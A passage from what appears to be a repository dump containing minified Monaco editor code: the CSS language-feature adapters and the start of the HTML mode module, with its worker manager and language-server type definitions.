p;!function(e){e.Text=1,e.Method=2,e.Function=3,e.Constructor=4,e.Field=5,e.Variable=6,e.Class=7,e.Interface=8,e.Module=9,e.Property=10,e.Unit=11,e.Value=12,e.Enum=13,e.Keyword=14,e.Snippet=15,e.Color=16,e.File=17,e.Reference=18}(p=n.CompletionItemKind||(n.CompletionItemKind={}));var h;!function(e){e.PlainText=1,e.Snippet=2}(h=n.InsertTextFormat||(n.InsertTextFormat={}));var v;!function(e){function n(e){return{label:e}}e.create=n}(v=n.CompletionItem||(n.CompletionItem={}));var y;!function(e){function n(e,n){return{items:e?e:[],isIncomplete:!!n}}e.create=n}(y=n.CompletionList||(n.CompletionList={}));var b;!function(e){function n(e){return e.replace(/[\\\\`*_{}[\\]()#+\\-.!]/g,\"\\\\$&\")}e.fromPlainText=n}(b=n.MarkedString||(n.MarkedString={}));var _;!function(e){function n(e,n){return n?{label:e,documentation:n}:{label:e}}e.create=n}(_=n.ParameterInformation||(n.ParameterInformation={}));var C;!function(e){function n(e,n){for(var t=[],r=2;r<arguments.length;r++)t[r-2]=arguments[r];var i={label:e};return A.defined(n)&&(i.documentation=n),A.defined(t)?i.parameters=t:i.parameters=[],i}e.create=n}(C=n.SignatureInformation||(n.SignatureInformation={}));var x;!function(e){e.Text=1,e.Read=2,e.Write=3}(x=n.DocumentHighlightKind||(n.DocumentHighlightKind={}));var I;!function(e){function n(e,n){var t={range:e};return A.number(n)&&(t.kind=n),t}e.create=n}(I=n.DocumentHighlight||(n.DocumentHighlight={}));var w;!function(e){e.File=1,e.Module=2,e.Namespace=3,e.Package=4,e.Class=5,e.Method=6,e.Property=7,e.Field=8,e.Constructor=9,e.Enum=10,e.Interface=11,e.Function=12,e.Variable=13,e.Constant=14,e.String=15,e.Number=16,e.Boolean=17,e.Array=18}(w=n.SymbolKind||(n.SymbolKind={}));var k;!function(e){function n(e,n,t,r,i){var o={name:e,kind:n,location:{uri:r,range:t}};return i&&(o.containerName=i),o}e.create=n}(k=n.SymbolInformation||(n.SymbolInformation={}));var S;!function(e){function n(e){return{diagnostics:e}}function t(e){var n=e;return A.defined(n)&&A.typedArray(n.diagnostics,a.is)}e.create=n,e.is=t}(S=n.CodeActionContext||(n.CodeActionContext={}));var D;!function(e){function n(e,n){var t={range:e};return A.defined(n)&&(t.data=n),t}function t(e){var n=e;return A.defined(n)&&r.is(n.range)&&(A.undefined(n.command)||u.is(n.command))}e.create=n,e.is=t}(D=n.CodeLens||(n.CodeLens={}));var K;!function(e){function n(e,n){return{tabSize:e,insertSpaces:n}}function t(e){var n=e;return A.defined(n)&&A.number(n.tabSize)&&A[\"boolean\"](n.insertSpaces)}e.create=n,e.is=t}(K=n.FormattingOptions||(n.FormattingOptions={}));var T=function(){function e(){}return e}();n.DocumentLink=T,function(e){function n(e,n){return{range:e,target:n}}function t(e){var n=e;return A.defined(n)&&r.is(n.range)&&(A.undefined(n.target)||A.string(n.target))}e.create=n,e.is=t}(T=n.DocumentLink||(n.DocumentLink={})),n.DocumentLink=T,n.EOL=[\"\\n\",\"\\r\\n\",\"\\r\"];var E;!function(e){function n(e,n,t,r){return new P(e,n,t,r)}function t(e){var n=e;return!!(A.defined(n)&&A.string(n.uri)&&(A.undefined(n.languageId)||A.string(n.languageId))&&A.number(n.lineCount)&&A.func(n.getText)&&A.func(n.positionAt)&&A.func(n.offsetAt))}e.create=n,e.is=t}(E=n.TextDocument||(n.TextDocument={}));var M;!function(e){e.Manual=1,e.AfterDelay=2,e.FocusOut=3}(M=n.TextDocumentSaveReason||(n.TextDocumentSaveReason={}));var A,P=function(){function e(e,n,t,r){this._uri=e,this._languageId=n,this._version=t,this._content=r,this._lineOffsets=null}return Object.defineProperty(e.prototype,\"uri\",{get:function(){return this._uri},enumerable:!0,configurable:!0}),Object.defineProperty(e.prototype,\"languageId\",{get:function(){return this._languageId},enumerable:!0,configurable:!0}),Object.defineProperty(e.prototype,\"version\",{get:function(){return this._version},enumerable:!0,configurable:!0}),e.prototype.getText=function(){return this._content},e.prototype.update=function(e,n){this._content=e.text,this._version=n,this._lineOffsets=null},e.prototype.getLineOffsets=function(){if(null===this._lineOffsets){for(var e=[],n=this._content,t=!0,r=0;r<n.length;r++){t&&(e.push(r),t=!1);var i=n.charAt(r);t=\"\\r\"===i||\"\\n\"===i,\"\\r\"===i&&r+1<n.length&&\"\\n\"===n.charAt(r+1)&&r++}t&&n.length>0&&e.push(n.length),this._lineOffsets=e}return this._lineOffsets},e.prototype.positionAt=function(e){e=Math.max(Math.min(e,this._content.length),0);var n=this.getLineOffsets(),r=0,i=n.length;if(0===i)return t.create(0,e);for(;i>r;){var o=Math.floor((r+i)/2);n[o]>e?i=o:r=o+1}var a=r-1;return t.create(a,e-n[a])},e.prototype.offsetAt=function(e){var n=this.getLineOffsets();if(e.line>=n.length)return this._content.length;if(e.line<0)return 0;var t=n[e.line],r=e.line+1<n.length?n[e.line+1]:this._content.length;return Math.max(Math.min(t+e.character,r),t)},Object.defineProperty(e.prototype,\"lineCount\",{get:function(){return this.getLineOffsets().length},enumerable:!0,configurable:!0}),e}();!function(e){function n(e){return\"undefined\"!=typeof e}function t(e){return\"undefined\"==typeof e}function r(e){return e===!0||e===!1}function i(e){return\"[object String]\"===s.call(e)}function o(e){return\"[object Number]\"===s.call(e)}function a(e){return\"[object Function]\"===s.call(e)}function u(e,n){return Array.isArray(e)&&e.every(n)}var s=Object.prototype.toString;e.defined=n,e.undefined=t,e[\"boolean\"]=r,e.string=i,e.number=o,e.func=a,e.typedArray=u}(A||(A={}))}),define(\"vscode-languageserver-types\",[\"vscode-languageserver-types/main\"],function(e){return e}),function(e){if(\"object\"==typeof module&&\"object\"==typeof module.exports){var n=e(require,exports);void 0!==n&&(module.exports=n)}else\"function\"==typeof define&&define.amd&&define(\"vs/language/css/languageFeatures\",[\"require\",\"exports\",\"vscode-languageserver-types\"],e)}(function(e,n){function t(e){switch(e){case g.DiagnosticSeverity.Error:return monaco.Severity.Error;case g.DiagnosticSeverity.Warning:return monaco.Severity.Warning;case g.DiagnosticSeverity.Information:case g.DiagnosticSeverity.Hint:default:return monaco.Severity.Info}}function r(e,n){var r=\"number\"==typeof n.code?String(n.code):n.code;return{severity:t(n.severity),startLineNumber:n.range.start.line+1,startColumn:n.range.start.character+1,endLineNumber:n.range.end.line+1,endColumn:n.range.end.character+1,message:n.message,code:r,source:n.source}}function i(e){return e?{character:e.column-1,line:e.lineNumber-1}:void 0}function o(e){return e?new p(e.start.line+1,e.start.character+1,e.end.line+1,e.end.character+1):void 0}function a(e){var n=monaco.languages.CompletionItemKind;switch(e){case g.CompletionItemKind.Text:return n.Text;case g.CompletionItemKind.Method:return n.Method;case g.CompletionItemKind.Function:return n.Function;case g.CompletionItemKind.Constructor:return n.Constructor;case g.CompletionItemKind.Field:return n.Field;case g.CompletionItemKind.Variable:return n.Variable;case g.CompletionItemKind.Class:return n.Class;case g.CompletionItemKind.Interface:return n.Interface;case g.CompletionItemKind.Module:return n.Module;case g.CompletionItemKind.Property:return n.Property;case g.CompletionItemKind.Unit:return n.Unit;case g.CompletionItemKind.Value:return n.Value;case g.CompletionItemKind.Enum:return n.Enum;case g.CompletionItemKind.Keyword:return n.Keyword;case g.CompletionItemKind.Snippet:return n.Snippet;case g.CompletionItemKind.Color:return n.Color;case g.CompletionItemKind.File:return n.File;case g.CompletionItemKind.Reference:return n.Reference}return n.Property}function u(e){return e?Array.isArray(e)?e:[e]:void 0}function s(e){switch(e){case g.DocumentHighlightKind.Read:return monaco.languages.DocumentHighlightKind.Read;case g.DocumentHighlightKind.Write:return monaco.languages.DocumentHighlightKind.Write;case g.DocumentHighlightKind.Text:return monaco.languages.DocumentHighlightKind.Text}return monaco.languages.DocumentHighlightKind.Text}function c(e){return{uri:m.parse(e.uri),range:o(e.range)}}function d(e){if(e&&e.changes){var n=[];for(var t in e.changes)for(var r=0,i=e.changes[t];r<i.length;r++){var a=i[r];n.push({resource:m.parse(t),range:o(a.range),newText:a.newText})}return{edits:n}}}function f(e){var n=monaco.languages.SymbolKind;switch(e){case g.SymbolKind.File:return n.Array;case g.SymbolKind.Module:return n.Module;case g.SymbolKind.Namespace:return n.Namespace;case g.SymbolKind.Package:return n.Package;case g.SymbolKind.Class:return n.Class;case g.SymbolKind.Method:return n.Method;case g.SymbolKind.Property:return n.Property;case g.SymbolKind.Field:return n.Field;case g.SymbolKind.Constructor:return n.Constructor;case g.SymbolKind.Enum:return n.Enum;case g.SymbolKind.Interface:return n.Interface;case g.SymbolKind.Function:return n.Function;case g.SymbolKind.Variable:return n.Variable;case g.SymbolKind.Constant:return n.Constant;case g.SymbolKind.String:return n.String;case g.SymbolKind.Number:return n.Number;case g.SymbolKind.Boolean:return n.Boolean;case g.SymbolKind.Array:return n.Array}return n.Function}function l(e,n){return e.onCancellationRequested(function(){return n.cancel()}),n}Object.defineProperty(n,\"__esModule\",{value:!0});var g=e(\"vscode-languageserver-types\"),m=monaco.Uri,p=monaco.Range,h=function(){function e(e,n){var t=this;this._languageId=e,this._worker=n,this._disposables=[],this._listener=Object.create(null);var r=function(e){var n=e.getModeId();if(n===t._languageId){var r;t._listener[e.uri.toString()]=e.onDidChangeContent(function(){clearTimeout(r),r=setTimeout(function(){return t._doValidate(e.uri,n)},500)}),t._doValidate(e.uri,n)}},i=function(e){monaco.editor.setModelMarkers(e,t._languageId,[]);var n=e.uri.toString(),r=t._listener[n];r&&(r.dispose(),delete t._listener[n])};this._disposables.push(monaco.editor.onDidCreateModel(r)),this._disposables.push(monaco.editor.onWillDisposeModel(i)),this._disposables.push(monaco.editor.onDidChangeModelLanguage(function(e){i(e.model),r(e.model)})),this._disposables.push({dispose:function(){for(var e in t._listener)t._listener[e].dispose()}}),monaco.editor.getModels().forEach(r)}return e.prototype.dispose=function(){this._disposables.forEach(function(e){return e&&e.dispose()}),this._disposables=[]},e.prototype._doValidate=function(e,n){this._worker(e).then(function(n){return n.doValidation(e.toString())}).then(function(t){var i=t.map(function(n){return r(e,n)}),o=monaco.editor.getModel(e);o.getModeId()===n&&monaco.editor.setModelMarkers(o,n,i)}).done(void 0,function(e){console.error(e)})},e}();n.DiagnostcsAdapter=h;var v=function(){function e(e){this._worker=e}return Object.defineProperty(e.prototype,\"triggerCharacters\",{get:function(){return[\" \",\":\"]},enumerable:!0,configurable:!0}),e.prototype.provideCompletionItems=function(e,n,t){var r=(e.getWordUntilPosition(n),e.uri);return l(t,this._worker(r).then(function(e){return e.doComplete(r.toString(),i(n))}).then(function(e){if(e){var n=e.items.map(function(e){var n={label:e.label,insertText:e.insertText,sortText:e.sortText,filterText:e.filterText,documentation:e.documentation,detail:e.detail,kind:a(e.kind)};return e.textEdit&&(n.range=o(e.textEdit.range),n.insertText=e.textEdit.newText),e.insertTextFormat===g.InsertTextFormat.Snippet&&(n.insertText={value:n.insertText}),n});return{isIncomplete:e.isIncomplete,items:n}}}))},e}();n.CompletionAdapter=v;var y=function(){function e(e){this._worker=e}return e.prototype.provideHover=function(e,n,t){var r=e.uri;return l(t,this._worker(r).then(function(e){return e.doHover(r.toString(),i(n))}).then(function(e){return e?{range:o(e.range),contents:u(e.contents)}:void 0}))},e}();n.HoverAdapter=y;var b=function(){function e(e){this._worker=e}return e.prototype.provideDocumentHighlights=function(e,n,t){var r=e.uri;return l(t,this._worker(r).then(function(e){return e.findDocumentHighlights(r.toString(),i(n))}).then(function(e){return e?e.map(function(e){return{range:o(e.range),kind:s(e.kind)}}):void 0}))},e}();n.DocumentHighlightAdapter=b;var _=function(){function e(e){this._worker=e}return e.prototype.provideDefinition=function(e,n,t){var r=e.uri;return l(t,this._worker(r).then(function(e){return e.findDefinition(r.toString(),i(n))}).then(function(e){return e?[c(e)]:void 0}))},e}();n.DefinitionAdapter=_;var C=function(){function e(e){this._worker=e}return e.prototype.provideReferences=function(e,n,t,r){var o=e.uri;return l(r,this._worker(o).then(function(e){return e.findReferences(o.toString(),i(n))}).then(function(e){return e?e.map(c):void 0}))},e}();n.ReferenceAdapter=C;var x=function(){function e(e){this._worker=e}return e.prototype.provideRenameEdits=function(e,n,t,r){var o=e.uri;return l(r,this._worker(o).then(function(e){return e.doRename(o.toString(),i(n),t)}).then(function(e){return d(e)}))},e}();n.RenameAdapter=x;var I=function(){function e(e){this._worker=e}return e.prototype.provideDocumentSymbols=function(e,n){var t=e.uri;return l(n,this._worker(t).then(function(e){return e.findDocumentSymbols(t.toString())}).then(function(e){return e?e.map(function(e){return{name:e.name,containerName:e.containerName,kind:f(e.kind),location:c(e.location)}}):void 0}))},e}();n.DocumentSymbolAdapter=I}),function(e){if(\"object\"==typeof module&&\"object\"==typeof module.exports){var n=e(require,exports);void 0!==n&&(module.exports=n)}else\"function\"==typeof define&&define.amd&&define(\"vs/language/css/cssMode\",[\"require\",\"exports\",\"./workerManager\",\"./languageFeatures\"],e)}(function(e,n){function t(e){var n=[],t=new r.WorkerManager(e);n.push(t);var o=function(e){for(var n=[],r=1;r<arguments.length;r++)n[r-1]=arguments[r];return t.getLanguageServiceWorker.apply(t,[e].concat(n))},a=e.languageId;n.push(monaco.languages.registerCompletionItemProvider(a,new i.CompletionAdapter(o))),n.push(monaco.languages.registerHoverProvider(a,new i.HoverAdapter(o))),n.push(monaco.languages.registerDocumentHighlightProvider(a,new i.DocumentHighlightAdapter(o))),n.push(monaco.languages.registerDefinitionProvider(a,new i.DefinitionAdapter(o))),n.push(monaco.languages.registerReferenceProvider(a,new i.ReferenceAdapter(o))),n.push(monaco.languages.registerDocumentSymbolProvider(a,new i.DocumentSymbolAdapter(o))),n.push(monaco.languages.registerRenameProvider(a,new i.RenameAdapter(o))),n.push(new i.DiagnostcsAdapter(a,o))}Object.defineProperty(n,\"__esModule\",{value:!0});var r=e(\"./workerManager\"),i=e(\"./languageFeatures\");n.setupMode=t});"
  },
  {
    "path": "console/src/main/resources/static/console-ui/public/js/vs/language/html/htmlMode.js",
    "content": "/*!-----------------------------------------------------------------------------\n * Copyright (c) Microsoft Corporation. All rights reserved.\n * monaco-html version: 1.3.2(5ec45016d73d25ccf42bc1626de18d4329aabe34)\n * Released under the MIT license\n * https://github.com/Microsoft/monaco-html/blob/master/LICENSE.md\n *-----------------------------------------------------------------------------*/\n!function(e){if(\"object\"==typeof module&&\"object\"==typeof module.exports){var t=e(require,exports);void 0!==t&&(module.exports=t)}else\"function\"==typeof define&&define.amd&&define(\"vs/language/html/workerManager\",[\"require\",\"exports\"],e)}(function(e,t){function n(e){var t,n,i=new r(function(e,r){t=e,n=r},function(){});return e.then(t,n),i}Object.defineProperty(t,\"__esModule\",{value:!0});var r=monaco.Promise,i=12e4,o=function(){function e(e){var t=this;this._defaults=e,this._worker=null,this._idleCheckInterval=setInterval(function(){return t._checkIfIdle()},3e4),this._lastUsedTime=0,this._configChangeListener=this._defaults.onDidChange(function(){return t._stopWorker()})}return e.prototype._stopWorker=function(){this._worker&&(this._worker.dispose(),this._worker=null),this._client=null},e.prototype.dispose=function(){clearInterval(this._idleCheckInterval),this._configChangeListener.dispose(),this._stopWorker()},e.prototype._checkIfIdle=function(){if(this._worker){var e=Date.now()-this._lastUsedTime;e>i&&this._stopWorker()}},e.prototype._getClient=function(){return this._lastUsedTime=Date.now(),this._client||(this._worker=monaco.editor.createWebWorker({moduleId:\"vs/language/html/htmlWorker\",createData:{languageSettings:this._defaults.options,languageId:this._defaults.languageId},label:this._defaults.languageId}),this._client=this._worker.getProxy()),this._client},e.prototype.getLanguageServiceWorker=function(){for(var e=this,t=[],r=0;r<arguments.length;r++)t[r]=arguments[r];var i;return n(this._getClient().then(function(e){i=e}).then(function(n){return e._worker.withSyncedResources(t)}).then(function(e){return i}))},e}();t.WorkerManager=o}),function(e){if(\"object\"==typeof module&&\"object\"==typeof module.exports){var t=e(require,exports);void 0!==t&&(module.exports=t)}else\"function\"==typeof define&&define.amd&&define(\"vscode-languageserver-types/main\",[\"require\",\"exports\"],e)}(function(e,t){Object.defineProperty(t,\"__esModule\",{value:!0});var n;!function(e){function t(e,t){return{line:e,character:t}}function n(e){var t=e;return K.defined(t)&&K.number(t.line)&&K.number(t.character)}e.create=t,e.is=n}(n=t.Position||(t.Position={}));var r;!function(e){function t(e,t,r,i){if(K.number(e)&&K.number(t)&&K.number(r)&&K.number(i))return{start:n.create(e,t),end:n.create(r,i)};if(n.is(e)&&n.is(t))return{start:e,end:t};throw new Error(\"Range#create called with invalid arguments[\"+e+\", \"+t+\", \"+r+\", \"+i+\"]\")}function r(e){var t=e;return K.defined(t)&&n.is(t.start)&&n.is(t.end)}e.create=t,e.is=r}(r=t.Range||(t.Range={}));var i;!function(e){function t(e,t){return{uri:e,range:t}}function n(e){var t=e;return K.defined(t)&&r.is(t.range)&&(K.string(t.uri)||K.undefined(t.uri))}e.create=t,e.is=n}(i=t.Location||(t.Location={}));var o;!function(e){e.Error=1,e.Warning=2,e.Information=3,e.Hint=4}(o=t.DiagnosticSeverity||(t.DiagnosticSeverity={}));var a;!function(e){function t(e,t,n,r,i){var o={range:e,message:t};return K.defined(n)&&(o.severity=n),K.defined(r)&&(o.code=r),K.defined(i)&&(o.source=i),o}function n(e){var t=e;return K.defined(t)&&r.is(t.range)&&K.string(t.message)&&(K.number(t.severity)||K.undefined(t.severity))&&(K.number(t.code)||K.string(t.code)||K.undefined(t.code))&&(K.string(t.source)||K.undefined(t.source))}e.create=t,e.is=n}(a=t.Diagnostic||(t.Diagnostic={}));var u;!function(e){function t(e,t){for(var n=[],r=2;r<arguments.length;r++)n[r-2]=arguments[r];var i={title:e,command:t};return K.defined(n)&&n.length>0&&(i.arguments=n),i}function n(e){var t=e;return K.defined(t)&&K.string(t.title)&&K.string(t.title)}e.create=t,e.is=n}(u=t.Command||(t.Command={}));var s;!function(e){function t(e,t){return{range:e,newText:t}}function n(e,t){return{range:{start:e,end:e},newText:t}}function r(e){return{range:e,newText:\"\"}}e.replace=t,e.insert=n,e.del=r}(s=t.TextEdit||(t.TextEdit={}));var c;!function(e){function t(e,t){return{textDocument:e,edits:t}}function n(e){var t=e;return K.defined(t)&&g.is(t.textDocument)&&Array.isArray(t.edits)}e.create=t,e.is=n}(c=t.TextDocumentEdit||(t.TextDocumentEdit={}));var d=function(){function e(e){this.edits=e}return e.prototype.insert=function(e,t){this.edits.push(s.insert(e,t))},e.prototype.replace=function(e,t){this.edits.push(s.replace(e,t))},e.prototype[\"delete\"]=function(e){this.edits.push(s.del(e))},e.prototype.add=function(e){this.edits.push(e)},e.prototype.all=function(){return this.edits},e.prototype.clear=function(){this.edits.splice(0,this.edits.length)},e}(),f=function(){function e(e){var t=this;this._textEditChanges=Object.create(null),e&&(this._workspaceEdit=e,e.documentChanges?e.documentChanges.forEach(function(e){var n=new d(e.edits);t._textEditChanges[e.textDocument.uri]=n}):e.changes&&Object.keys(e.changes).forEach(function(n){var r=new d(e.changes[n]);t._textEditChanges[n]=r}))}return Object.defineProperty(e.prototype,\"edit\",{get:function(){return this._workspaceEdit},enumerable:!0,configurable:!0}),e.prototype.getTextEditChange=function(e){if(g.is(e)){if(this._workspaceEdit||(this._workspaceEdit={documentChanges:[]}),!this._workspaceEdit.documentChanges)throw new Error(\"Workspace edit is not configured for versioned document changes.\");var t=e,n=this._textEditChanges[t.uri];if(!n){var r=[],i={textDocument:t,edits:r};this._workspaceEdit.documentChanges.push(i),n=new d(r),this._textEditChanges[t.uri]=n}return n}if(this._workspaceEdit||(this._workspaceEdit={changes:Object.create(null)}),!this._workspaceEdit.changes)throw new Error(\"Workspace edit is not configured for normal text edit changes.\");var n=this._textEditChanges[e];if(!n){var r=[];this._workspaceEdit.changes[e]=r,n=new d(r),this._textEditChanges[e]=n}return n},e}();t.WorkspaceChange=f;var l;!function(e){function t(e){return{uri:e}}function n(e){var t=e;return K.defined(t)&&K.string(t.uri)}e.create=t,e.is=n}(l=t.TextDocumentIdentifier||(t.TextDocumentIdentifier={}));var g;!function(e){function t(e,t){return{uri:e,version:t}}function n(e){var t=e;return K.defined(t)&&K.string(t.uri)&&K.number(t.version)}e.create=t,e.is=n}(g=t.VersionedTextDocumentIdentifier||(t.VersionedTextDocumentIdentifier={}));var m;!function(e){function t(e,t,n,r){return{uri:e,languageId:t,version:n,text:r}}function n(e){var t=e;return K.defined(t)&&K.string(t.uri)&&K.string(t.languageId)&&K.number(t.version)&&K.string(t.text)}e.create=t,e.is=n}(m=t.TextDocumentItem||(t.TextDocumentItem={}));var p;!function(e){e.Text=1,e.Method=2,e.Function=3,e.Constructor=4,e.Field=5,e.Variable=6,e.Class=7,e.Interface=8,e.Module=9,e.Property=10,e.Unit=11,e.Value=12,e.Enum=13,e.Keyword=14,e.Snippet=15,e.Color=16,e.File=17,e.Reference=18}(p=t.CompletionItemKind||(t.CompletionItemKind={}));var h;!function(e){e.PlainText=1,e.Snippet=2}(h=t.InsertTextFormat||(t.InsertTextFormat={}));var v;!function(e){function t(e){return{label:e}}e.create=t}(v=t.CompletionItem||(t.CompletionItem={}));var _;!function(e){function t(e,t){return{items:e?e:[],isIncomplete:!!t}}e.create=t}(_=t.CompletionList||(t.CompletionList={}));var y;!function(e){function t(e){return e.replace(/[\\\\`*_{}[\\]()#+\\-.!]/g,\"\\\\$&\")}e.fromPlainText=t}(y=t.MarkedString||(t.MarkedString={}));var b;!function(e){function t(e,t){return t?{label:e,documentation:t}:{label:e}}e.create=t}(b=t.ParameterInformation||(t.ParameterInformation={}));var x;!function(e){function t(e,t){for(var n=[],r=2;r<arguments.length;r++)n[r-2]=arguments[r];var i={label:e};return K.defined(t)&&(i.documentation=t),K.defined(n)?i.parameters=n:i.parameters=[],i}e.create=t}(x=t.SignatureInformation||(t.SignatureInformation={}));var C;!function(e){e.Text=1,e.Read=2,e.Write=3}(C=t.DocumentHighlightKind||(t.DocumentHighlightKind={}));var I;!function(e){function t(e,t){var n={range:e};return K.number(t)&&(n.kind=t),n}e.create=t}(I=t.DocumentHighlight||(t.DocumentHighlight={}));var k;!function(e){e.File=1,e.Module=2,e.Namespace=3,e.Package=4,e.Class=5,e.Method=6,e.Property=7,e.Field=8,e.Constructor=9,e.Enum=10,e.Interface=11,e.Function=12,e.Variable=13,e.Constant=14,e.String=15,e.Number=16,e.Boolean=17,e.Array=18}(k=t.SymbolKind||(t.SymbolKind={}));var w;!function(e){function t(e,t,n,r,i){var o={name:e,kind:t,location:{uri:r,range:n}};return i&&(o.containerName=i),o}e.create=t}(w=t.SymbolInformation||(t.SymbolInformation={}));var D;!function(e){function t(e){return{diagnostics:e}}function n(e){var t=e;return K.defined(t)&&K.typedArray(t.diagnostics,a.is)}e.create=t,e.is=n}(D=t.CodeActionContext||(t.CodeActionContext={}));var E;!function(e){function t(e,t){var n={range:e};return K.defined(t)&&(n.data=t),n}function n(e){var t=e;return K.defined(t)&&r.is(t.range)&&(K.undefined(t.command)||u.is(t.command))}e.create=t,e.is=n}(E=t.CodeLens||(t.CodeLens={}));var S;!function(e){function t(e,t){return{tabSize:e,insertSpaces:t}}function n(e){var t=e;return K.defined(t)&&K.number(t.tabSize)&&K[\"boolean\"](t.insertSpaces)}e.create=t,e.is=n}(S=t.FormattingOptions||(t.FormattingOptions={}));var T=function(){function e(){}return e}();t.DocumentLink=T,function(e){function t(e,t){return{range:e,target:t}}function n(e){var t=e;return K.defined(t)&&r.is(t.range)&&(K.undefined(t.target)||K.string(t.target))}e.create=t,e.is=n}(T=t.DocumentLink||(t.DocumentLink={})),t.DocumentLink=T,t.EOL=[\"\\n\",\"\\r\\n\",\"\\r\"];var M;!function(e){function t(e,t,n,r){return new F(e,t,n,r)}function n(e){var t=e;return!!(K.defined(t)&&K.string(t.uri)&&(K.undefined(t.languageId)||K.string(t.languageId))&&K.number(t.lineCount)&&K.func(t.getText)&&K.func(t.positionAt)&&K.func(t.offsetAt))}e.create=t,e.is=n}(M=t.TextDocument||(t.TextDocument={}));var P;!function(e){e.Manual=1,e.AfterDelay=2,e.FocusOut=3}(P=t.TextDocumentSaveReason||(t.TextDocumentSaveReason={}));var K,F=function(){function e(e,t,n,r){this._uri=e,this._languageId=t,this._version=n,this._content=r,this._lineOffsets=null}return Object.defineProperty(e.prototype,\"uri\",{get:function(){return this._uri},enumerable:!0,configurable:!0}),Object.defineProperty(e.prototype,\"languageId\",{get:function(){return this._languageId},enumerable:!0,configurable:!0}),Object.defineProperty(e.prototype,\"version\",{get:function(){return this._version},enumerable:!0,configurable:!0}),e.prototype.getText=function(){return this._content},e.prototype.update=function(e,t){this._content=e.text,this._version=t,this._lineOffsets=null},e.prototype.getLineOffsets=function(){if(null===this._lineOffsets){for(var e=[],t=this._content,n=!0,r=0;r<t.length;r++){n&&(e.push(r),n=!1);var i=t.charAt(r);n=\"\\r\"===i||\"\\n\"===i,\"\\r\"===i&&r+1<t.length&&\"\\n\"===t.charAt(r+1)&&r++}n&&t.length>0&&e.push(t.length),this._lineOffsets=e}return this._lineOffsets},e.prototype.positionAt=function(e){e=Math.max(Math.min(e,this._content.length),0);var t=this.getLineOffsets(),r=0,i=t.length;if(0===i)return n.create(0,e);for(;r<i;){var o=Math.floor((r+i)/2);t[o]>e?i=o:r=o+1}var a=r-1;return n.create(a,e-t[a])},e.prototype.offsetAt=function(e){var t=this.getLineOffsets();if(e.line>=t.length)return this._content.length;if(e.line<0)return 0;var n=t[e.line],r=e.line+1<t.length?t[e.line+1]:this._content.length;return Math.max(Math.min(n+e.character,r),n)},Object.defineProperty(e.prototype,\"lineCount\",{get:function(){return this.getLineOffsets().length},enumerable:!0,configurable:!0}),e}();!function(e){function t(e){return\"undefined\"!=typeof e}function n(e){return\"undefined\"==typeof e}function r(e){return e===!0||e===!1}function i(e){return\"[object String]\"===s.call(e)}function o(e){return\"[object Number]\"===s.call(e)}function a(e){return\"[object Function]\"===s.call(e)}function u(e,t){return Array.isArray(e)&&e.every(t)}var s=Object.prototype.toString;e.defined=t,e.undefined=n,e[\"boolean\"]=r,e.string=i,e.number=o,e.func=a,e.typedArray=u}(K||(K={}))}),define(\"vscode-languageserver-types\",[\"vscode-languageserver-types/main\"],function(e){return e}),function(e){if(\"object\"==typeof module&&\"object\"==typeof module.exports){var t=e(require,exports);void 0!==t&&(module.exports=t)}else\"function\"==typeof define&&define.amd&&define(\"vs/language/html/languageFeatures\",[\"require\",\"exports\",\"vscode-languageserver-types\"],e)}(function(e,t){function n(e){switch(e){case l.DiagnosticSeverity.Error:return monaco.Severity.Error;case l.DiagnosticSeverity.Warning:return monaco.Severity.Warning;case l.DiagnosticSeverity.Information:case l.DiagnosticSeverity.Hint:default:return monaco.Severity.Info}}function r(e,t){var r=\"number\"==typeof t.code?String(t.code):t.code;return{severity:n(t.severity),startLineNumber:t.range.start.line+1,startColumn:t.range.start.character+1,endLineNumber:t.range.end.line+1,endColumn:t.range.end.character+1,message:t.message,code:r,source:t.source}}function i(e){if(e)return{character:e.column-1,line:e.lineNumber-1}}function o(e){if(e)return{start:i(e.getStartPosition()),end:i(e.getEndPosition())}}function a(e){if(e)return new g(e.start.line+1,e.start.character+1,e.end.line+1,e.end.character+1)}function u(e){var t=monaco.languages.CompletionItemKind;switch(e){case l.CompletionItemKind.Text:return t.Text;case l.CompletionItemKind.Method:return t.Method;case l.CompletionItemKind.Function:return t.Function;case l.CompletionItemKind.Constructor:return t.Constructor;case l.CompletionItemKind.Field:return t.Field;case l.CompletionItemKind.Variable:return t.Variable;case l.CompletionItemKind.Class:return t.Class;case l.CompletionItemKind.Interface:return t.Interface;case l.CompletionItemKind.Module:return t.Module;case l.CompletionItemKind.Property:return t.Property;case l.CompletionItemKind.Unit:return t.Unit;case l.CompletionItemKind.Value:return t.Value;case l.CompletionItemKind.Enum:return t.Enum;case l.CompletionItemKind.Keyword:return t.Keyword;case l.CompletionItemKind.Snippet:return t.Snippet;case l.CompletionItemKind.Color:return t.Color;case l.CompletionItemKind.File:return t.File;case l.CompletionItemKind.Reference:return t.Reference}return t.Property}function s(e){if(e)return{range:a(e.range),text:e.newText}}function c(e){var t=monaco.languages.DocumentHighlightKind;switch(e){case l.DocumentHighlightKind.Read:return t.Read;case l.DocumentHighlightKind.Write:return t.Write;case l.DocumentHighlightKind.Text:return t.Text}return t.Text}function d(e){return{tabSize:e.tabSize,insertSpaces:e.insertSpaces}}function f(e,t){return t.cancel&&e.onCancellationRequested(function(){return t.cancel()}),t}Object.defineProperty(t,\"__esModule\",{value:!0});var l=e(\"vscode-languageserver-types\"),g=(monaco.Uri,monaco.Range),m=function(){function e(e,t){var n=this;this._languageId=e,this._worker=t,this._disposables=[],this._listener=Object.create(null);var r=function(e){var t=e.getModeId();if(t===n._languageId){var r;n._listener[e.uri.toString()]=e.onDidChangeContent(function(){clearTimeout(r),r=setTimeout(function(){return n._doValidate(e.uri,t)},500)}),n._doValidate(e.uri,t)}},i=function(e){monaco.editor.setModelMarkers(e,n._languageId,[]);var t=e.uri.toString(),r=n._listener[t];r&&(r.dispose(),delete n._listener[t])};this._disposables.push(monaco.editor.onDidCreateModel(r)),this._disposables.push(monaco.editor.onWillDisposeModel(function(e){i(e)})),this._disposables.push(monaco.editor.onDidChangeModelLanguage(function(e){i(e.model),r(e.model)})),this._disposables.push({dispose:function(){for(var e in n._listener)n._listener[e].dispose()}}),monaco.editor.getModels().forEach(r)}return e.prototype.dispose=function(){this._disposables.forEach(function(e){return e&&e.dispose()}),this._disposables=[]},e.prototype._doValidate=function(e,t){this._worker(e).then(function(n){return n.doValidation(e.toString()).then(function(n){var i=n.map(function(t){return r(e,t)});monaco.editor.setModelMarkers(monaco.editor.getModel(e),t,i)})}).then(void 0,function(e){console.error(e)})},e}();t.DiagnostcsAdapter=m;var p=function(){function e(e){this._worker=e}return 